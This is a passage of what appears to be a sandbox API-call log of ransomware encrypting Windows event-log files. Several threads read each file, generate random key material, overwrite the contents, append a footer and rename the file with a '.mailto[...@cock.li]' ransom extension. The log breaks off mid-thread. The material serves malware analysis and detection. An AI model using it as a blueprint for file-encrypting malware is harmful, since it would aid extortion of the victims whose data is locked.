	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecf80
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ed530
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x2e02570
	[0080.308] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.308] WriteFile (in: hFile=0x968, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x1133f854, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1133f854*=0x145, lpOverlapped=0x0) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed530) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecf80) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0080.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0080.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddabe0
	[0080.321] wcscpy (in: _Dest=0x2ddabe0, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx"
	[0080.321] wcscat (in: _Dest=0x2ddabe0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.321] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1133f80c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x2d7e618
	[0080.321] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0x1133f804, FileInformation=0x2d7e618, Length=0xc2, FileInformationClass=0xa) 

Thread:
	id = 422
	os_tid = 0x15c0

	[0076.959] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0080.300] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", dwFileAttributes=0x20) returned 1
	[0080.306] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1348
	[0080.306] GetFileSizeEx (in: hFile=0x1348, lpFileSize=0x113bf8c4 | out: lpFileSize=0x113bf8c4*=69632) returned 1
	[0080.306] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.306] ReadFile (in: hFile=0x1348, lpBuffer=0x113bf848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x113bf844, lpOverlapped=0x0 | out: lpBuffer=0x113bf848*, lpNumberOfBytesRead=0x113bf844*=0x4, lpOverlapped=0x0) returned 1
	[0080.310] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.310] NtQuerySystemTime (in: CurrentTime=0x113bf824 | out: CurrentTime=0x113bf824*=132251868070463103) returned 0x0
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x5bb3b08b
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xbe3eaed6
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x96f9e26f
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x7adeb981
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x7534a552
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xee627390
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xb0d08e00
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x1f17978d
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x673d14eb
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xfdbcb985
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xd29dc36
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x8566d97a
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x53281bb8
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xd07238dd
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xca39975c
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xc2d11824
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x3dade407
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x8e13b4eb
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xc8efe09f
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xadf7929b
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x9525b4a6
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x420ee57
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xc849c7f1
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xa57d64c3
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xf1fc02ee
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x356c2639
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0xc8f8be02
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x1a6c7db9
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x9fc1d661
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x58301daf
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x977d2405
	[0080.310] RtlRandom (in: Seed=0x113bf830 | out: Seed=0x113bf830) returned 0x42ce7cc3
	[0080.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0080.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.319] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0080.319] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.319] ReadFile (in: hFile=0x1348, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x113bf804, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x113bf804*=0xc800, lpOverlapped=0x0) returned 1
	[0080.321] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0080.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.323] WriteFile (in: hFile=0x1348, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x113bf804, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x113bf804*=0xc800, lpOverlapped=0x0) returned 1
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4780778
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4780b88
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13f) returned 0x2e02570
	[0080.325] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.325] WriteFile (in: hFile=0x1348, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x113bf884, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x113bf884*=0x13f, lpOverlapped=0x0) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780b88) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780778) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0080.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5cc78
	[0080.328] wcscpy (in: _Dest=0x2d5cc78, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx"
	[0080.328] wcscat (in: _Dest=0x2d5cc78, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.328] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x113bf83c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4771108
	[0080.328] NtSetInformationFile (FileHandle=0x1348, IoStatusBlock=0x113bf834, FileInformation=0x4771108, Length=0xbc, FileInformationClass=0xa) 

Thread:
	id = 423
	os_tid = 0x15c4

	[0076.960] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0080.324] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", dwFileAttributes=0x20) returned 1
	[0080.324] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1334
	[0080.324] GetFileSizeEx (in: hFile=0x1334, lpFileSize=0x1143fa2c | out: lpFileSize=0x1143fa2c*=69632) returned 1
	[0080.324] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.324] ReadFile (in: hFile=0x1334, lpBuffer=0x1143f9b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1143f9ac, lpOverlapped=0x0 | out: lpBuffer=0x1143f9b0*, lpNumberOfBytesRead=0x1143f9ac*=0x4, lpOverlapped=0x0) returned 1
	[0080.329] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.329] NtQuerySystemTime (in: CurrentTime=0x1143f98c | out: CurrentTime=0x1143f98c*=132251868070620029) returned 0x0
	[0080.329] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xcb563f3f
	[0080.329] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x8711e607
	[0080.329] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xe550bb0d
	[0080.329] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xe8d41657
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x8ae952fe
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x2f551782
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x48666922
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xb78cfa76
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x485f53bd
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xe5d24eb3
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x15068ed7
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x53b89fe6
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xa3278227
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xb0be35c9
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xd822014b
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x745a389d
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x3906c6d3
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xd1f84f89
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xc8dd7fef
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x8fdf9ecd
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x4dadb61d
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xd6fca9b2
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xc5433e0e
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x3f7949e7
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x6bd89141
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x79ec745e
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x4a7411cb
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xbd7f050c
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x14aa893a
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x1bd7165e
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0xffd85970
	[0080.330] RtlRandom (in: Seed=0x1143f998 | out: Seed=0x1143f998) returned 0x5bfe8016
	[0080.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0080.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0080.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0080.339] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.339] ReadFile (in: hFile=0x1334, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1143f96c, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x1143f96c*=0xc800, lpOverlapped=0x0) returned 1
	[0080.340] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0080.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.342] WriteFile (in: hFile=0x1334, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1143f96c, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1143f96c*=0xc800, lpOverlapped=0x0) returned 1
	[0080.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0080.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0080.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x4753c50
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x4754100
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0080.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14d) returned 0x2e02570
	[0080.345] SetFilePointerEx (in: hFile=0x1334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.345] WriteFile (in: hFile=0x1334, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x1143f9ec, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1143f9ec*=0x14d, lpOverlapped=0x0) returned 1
	[0080.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0080.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0080.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0080.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0080.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0080.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476a628
	[0080.348] wcscpy (in: _Dest=0x476a628, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx"
	[0080.348] wcscat (in: _Dest=0x476a628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.348] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1143f9a4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d7c0
